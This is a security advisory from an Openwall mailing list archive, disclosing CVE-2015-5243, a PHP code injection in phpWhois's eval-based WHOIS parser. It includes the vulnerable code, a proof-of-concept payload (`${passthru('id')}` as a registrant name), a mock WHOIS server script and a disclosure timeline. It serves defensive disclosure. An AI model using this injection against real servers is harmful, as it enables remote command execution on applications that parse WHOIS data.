Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [day] [month] [year] [list]
Date: Wed, 1 Aug 2018 19:57:22 +0200
From: SBA Research Advisory <>
To: <>
Subject: [SBA-ADV-20180425-01] CVE-2015-5243 rediscovered: phpWhois before
 5.1.0 PHP Code Injection

# phpWhois PHP Code Injection #


## Vulnerability Overview ##

phpWhois and some of its forks in versions before 5.1.0 are prone to a
code injection vulnerability due to insufficient sanitization of returned
WHOIS data. This allows attackers controlling the WHOIS information of a
requested domain to execute arbitrary PHP code in the context of the

* **Identifier**            : SBA-ADV-20180425-01
* **Type of Vulnerability** : Code Injection
* **Software/Product Name** : phpWhois
* **Vendor**                : [](,
                              and others
* **Affected Versions**     : 4.2.2 and probably prior,
                              as well as the following forks
                              abcdmitry: 4.2.5 and probably prior,
                              jsmitty12: 5.0.2 and probably prior
* **Fixed in Version**      : jsmitty12: 5.1.0
* **CVE ID**                : CVE-2015-5243
* **CVSSv3 Vector**         : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
* **CVSSv3 Base Score**     : 9.8 (Critical)

## Vendor Description ##

> This package contains a Whois (RFC954) library for PHP. It allows a
> PHP program to create a Whois object, and obtain the output of a
> whois query with the lookup function.

Source: <>

## Impact ##

By exploiting the vulnerability documented in this advisory, an
attacker controlling the WHOIS information of a domain retrieved via
phpWhois can execute arbitrary PHP code in the context of the
application. The set of domains enabling this attack vector is limited
to certain top-level domains. Sensitive data accessible by the
application might get exposed through this attack.

The vulnerability is fixed in version 5.1.0 or newer of jsmitty12's fork.
We recommend upgrading to this version.

## Vulnerability Description ##

phpWhois implements multiple generic parsers for WHOIS data in
`whois.parser.php`. The parser implemented in function
`generic_parser_b` is vulnerable to injection of PHP code.

The function `generic_parser_b` builds a PHP statement from WHOIS data
values by concatenating strings without proper sanitization. It then
passes the statement to the `eval` function:

function generic_parser_b($rawdata, $items = array(), $dateformat = 'mdy', $hasreg = true, $scanall = false) {
    foreach ($rawdata as $val) {
        if (trim($val) != '') {
            if (($val[0] == '%' || $val[0] == '#') && $disok) {
                $r['disclaimer'][] = trim(substr($val, 1));
                $disok = true;
            $disok = false;
            foreach ($items as $match => $field) {
                $pos = strpos($val, $match);
                if ($pos !== false) {
                    if ($field != '') {
                        $var = '$r' . getvarname($field);
                        $itm = trim(substr($val, $pos + strlen($match)));
                        if ($itm != '')
                            eval($var . '="' . str_replace('"', '\"', $itm) . '";');
                    if (!$scanall)

At least the following 33 top-level domain handlers make use of the
vulnerable parser:

ae, aero, ag, asia, au, bh, biz, cat, cn, co,, fi, hu, in, info, jp, lu, me, mobi, museum, name, nz, org, pro, ru, sc, se, su, tel, travel, us, ws, xxx

## Proof-of-Concept ##

An attacker can exploit this vulnerability by setting malicious WHOIS
information such as `Registrant Name: ${passthru('id')}` for an arbitrary
`.org` domain.
Instead of a real name, we specify `${passthru('id')}` which PHP will
interpret as a variable expansion inside double quoted string literals.
We simulate this situation via a simple WHOIS server implementation:

import SocketServer

DATA = "Registrant Name: ${passthru('id')}\n"

class WhoisHandler(SocketServer.BaseRequestHandler):
    def handle(self):
        print('Request received')
        print('Payload sent')

if __name__ == '__main__':
    SocketServer.ThreadingTCPServer.allow_reuse_address = True
    server = SocketServer.ThreadingTCPServer(('', 9999), WhoisHandler)

The following example sets up phpWhois to use the simulated WHOIS
server and requests information for ``:

require_once(__DIR__ . '/vendor/autoload.php');

$whois = new phpWhois\Whois;
$whois->useServer('org', '');
echo $whois->lookup('');

Therefore, the vulnerable phpWhois version executes the injected PHP
statement `passthru('id')` which will execute the Unix `id` command on the
server and return its output.

## Timeline ##

* `2018-04-25`: identification of vulnerability
* `2018-04-26`: initial contact of several phpWhois and fork maintainers
* `2018-04-26`: disclosed vulnerability to project maintainer
* `2018-04-27`: disclosed vulnerability to jsmitty12
* `2018-04-30`: project maintainer stated that it is a
                known issue (CVE-2015-5243) with a fix committed at
* `2018-04-30`: fix is not released yet and MITRE lists CVE-2015-5243
                as assigned but private
* `2018-05-29`: jsmitty12 released fixed version 5.1.0
* `2018-08-01`: public disclosure

## References ##

* Original advisory: <>
* Fixes:
  * <>
  * <>
  * <>

## Credits ##

* Original advisory by Iain Wallace ([Nettitude](
* Rediscovered by David Gnedt ([SBA Research](

Download attachment "0xFBB8862F58F775B2.asc" of type "application/pgp-keys" (3092 bytes)

Download attachment "signature.asc" of type "application/pgp-signature" (834 bytes)

Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Powered by Openwall GNU/*/Linux - Powered by OpenVZ